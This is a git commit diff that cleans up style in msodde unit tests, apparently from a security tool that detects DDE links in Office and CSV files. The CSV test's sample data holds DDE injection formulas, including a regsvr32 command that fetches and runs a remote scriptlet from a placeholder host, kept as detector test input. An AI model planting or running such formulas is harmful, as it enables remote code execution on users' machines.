Commit 3977c68cd08e2713edfba054045f8d5270ef2a26

Authored by Christian Herdtweck
1 parent 59a85138

unittests: make pylint and pep8 a bit happier

They actually found a few \ in strings I had overlooked
tests/msodde/test_basic.py
@@ -17,11 +17,13 @@ from traceback import print_exc @@ -17,11 +17,13 @@ from traceback import print_exc
17 17
18 18
19 class TestReturnCode(unittest.TestCase): 19 class TestReturnCode(unittest.TestCase):
  20 + """ check return codes and exception behaviour (not text output) """
20 21
21 def test_valid_doc(self): 22 def test_valid_doc(self):
22 """ check that a valid doc file leads to 0 exit status """ 23 """ check that a valid doc file leads to 0 exit status """
23 - for filename in ('dde-test-from-office2003', 'dde-test-from-office2016',  
24 - 'harmless-clean', 'dde-test-from-office2013-utf_16le-korean'): 24 + for filename in (
  25 + 'dde-test-from-office2003', 'dde-test-from-office2016',
  26 + 'harmless-clean', 'dde-test-from-office2013-utf_16le-korean'):
25 self.do_test_validity(join(BASE_DIR, 'msodde', 27 self.do_test_validity(join(BASE_DIR, 'msodde',
26 filename + '.doc')) 28 filename + '.doc'))
27 29
@@ -65,9 +67,9 @@ class TestReturnCode(unittest.TestCase): @@ -65,9 +67,9 @@ class TestReturnCode(unittest.TestCase):
65 except Exception: 67 except Exception:
66 have_exception = True 68 have_exception = True
67 print_exc() 69 print_exc()
68 - except SystemExit as se: # sys.exit() was called  
69 - return_code = se.code  
70 - if se.code is None: 70 + except SystemExit as exc: # sys.exit() was called
  71 + return_code = exc.code
  72 + if exc.code is None:
71 return_code = 0 73 return_code = 0
72 74
73 self.assertEqual(expect_error, have_exception or (return_code != 0), 75 self.assertEqual(expect_error, have_exception or (return_code != 0),
@@ -77,9 +79,13 @@ class TestReturnCode(unittest.TestCase): @@ -77,9 +79,13 @@ class TestReturnCode(unittest.TestCase):
77 79
78 80
79 class TestDdeLinks(unittest.TestCase): 81 class TestDdeLinks(unittest.TestCase):
  82 + """ capture output of msodde and check dde-links are found correctly """
80 83
81 def get_dde_from_output(self, capturer): 84 def get_dde_from_output(self, capturer):
82 - """ helper to read dde links from captured output """ 85 + """ helper to read dde links from captured output
  86 +
  87 + duplicate in tests/msodde/test_csv
  88 + """
83 have_start_line = False 89 have_start_line = False
84 result = [] 90 result = []
85 for line in capturer: 91 for line in capturer:
@@ -90,7 +96,7 @@ class TestDdeLinks(unittest.TestCase): @@ -90,7 +96,7 @@ class TestDdeLinks(unittest.TestCase):
90 elif line == 'DDE Links:': 96 elif line == 'DDE Links:':
91 have_start_line = True 97 have_start_line = True
92 98
93 - self.assertTrue(have_start_line) # ensure output was complete 99 + self.assertTrue(have_start_line) # ensure output was complete
94 return result 100 return result
95 101
96 def test_with_dde(self): 102 def test_with_dde(self):
tests/msodde/test_blacklist.py
@@ -39,8 +39,8 @@ EXAMPLES_MATCH = ( @@ -39,8 +39,8 @@ EXAMPLES_MATCH = (
39 r'ADVANCE \x 150', 39 r'ADVANCE \x 150',
40 r'AUTHOR', 40 r'AUTHOR',
41 r'AUTHOR "Tony Caruso"', 41 r'AUTHOR "Tony Caruso"',
42 - r'BIBLIOGRAPHY \l 1033', # note: the original example has "/l 1033"  
43 - r'CITATION Ecma01 \l 1033', # note: this also. Hope this is just a typo 42 + r'BIBLIOGRAPHY \l 1033', # note: the original example has "/l 1033"
  43 + r'CITATION Ecma01 \l 1033', # note: this also. Hope this is just a typo
44 r'COMMENTS', 44 r'COMMENTS',
45 r'COMMENTS "I came, I saw, I was not impressed."', 45 r'COMMENTS "I came, I saw, I was not impressed."',
46 r'CREATEDATE', 46 r'CREATEDATE',
@@ -228,6 +228,7 @@ EXAMPLES_NOMATCH = ( @@ -228,6 +228,7 @@ EXAMPLES_NOMATCH = (
228 r'SKIPIF MERGEFIELD Order < 100', 228 r'SKIPIF MERGEFIELD Order < 100',
229 ) 229 )
230 230
  231 +
231 class TestBlacklist(unittest.TestCase): 232 class TestBlacklist(unittest.TestCase):
232 """ Tests msodde blacklist feature """ 233 """ Tests msodde blacklist feature """
233 234
tests/msodde/test_csv.py
@@ -21,7 +21,7 @@ class TestCSV(unittest.TestCase): @@ -21,7 +21,7 @@ class TestCSV(unittest.TestCase):
21 """ write some sample texts to file, run those """ 21 """ write some sample texts to file, run those """
22 SAMPLES = ( 22 SAMPLES = (
23 "=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''", 23 "=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''",
24 - "=MSEXCEL|'\\..\\..\\..\Windows\System32\regsvr32 /s /n /u " + 24 + "=MSEXCEL|'\\..\\..\\..\\Windows\\System32\regsvr32 /s /n /u " +
25 "/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''", 25 "/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''",
26 "completely innocent text" 26 "completely innocent text"
27 ) 27 )
@@ -32,13 +32,11 @@ class TestCSV(unittest.TestCase): @@ -32,13 +32,11 @@ class TestCSV(unittest.TestCase):
32 PREFIXES = ('', '{quote}item-before{quote}{delim}', 32 PREFIXES = ('', '{quote}item-before{quote}{delim}',
33 '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR, 33 '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR,
34 '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR + 34 '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR +
35 - '{quote}item-before{quote}{delim}',  
36 - ) 35 + '{quote}item-before{quote}{delim}')
37 SUFFIXES = ('', '{delim}{quote}item-after{quote}', 36 SUFFIXES = ('', '{delim}{quote}item-after{quote}',
38 '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR, 37 '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR,
39 '{delim}{quote}item-after{quote}' + 38 '{delim}{quote}item-after{quote}' +
40 - '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR,  
41 - ) 39 + '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR)
42 40
43 for sample_core in SAMPLES: 41 for sample_core in SAMPLES:
44 for prefix in PREFIXES: 42 for prefix in PREFIXES:
@@ -78,7 +76,7 @@ class TestCSV(unittest.TestCase): @@ -78,7 +76,7 @@ class TestCSV(unittest.TestCase):
78 links = self.get_dde_from_output(capturer) 76 links = self.get_dde_from_output(capturer)
79 self.assertEqual(len(links), 1) 77 self.assertEqual(len(links), 1)
80 self.assertEqual(links[0], 78 self.assertEqual(links[0],
81 - "cmd '/k \..\..\..\Windows\System32\calc.exe'") 79 + r"cmd '/k \..\..\..\Windows\System32\calc.exe'")
82 80
83 def write_and_run(self, sample_text): 81 def write_and_run(self, sample_text):
84 """ helper for test_texts: save text to file, run through msodde """ 82 """ helper for test_texts: save text to file, run through msodde """
@@ -114,7 +112,10 @@ class TestCSV(unittest.TestCase): @@ -114,7 +112,10 @@ class TestCSV(unittest.TestCase):
114 filename = None # just in case 112 filename = None # just in case
115 113
116 def get_dde_from_output(self, capturer): 114 def get_dde_from_output(self, capturer):
117 - """ helper to read dde links from captured output """ 115 + """ helper to read dde links from captured output
  116 +
  117 + duplicate in tests/msodde/test_basic
  118 + """
118 have_start_line = False 119 have_start_line = False
119 result = [] 120 result = []
120 for line in capturer: 121 for line in capturer:
@@ -127,7 +128,7 @@ class TestCSV(unittest.TestCase): @@ -127,7 +128,7 @@ class TestCSV(unittest.TestCase):
127 elif line == 'DDE Links:': 128 elif line == 'DDE Links:':
128 have_start_line = True 129 have_start_line = True
129 130
130 - self.assertTrue(have_start_line) # ensure output was complete 131 + self.assertTrue(have_start_line) # ensure output was complete
131 return result 132 return result
132 133
133 134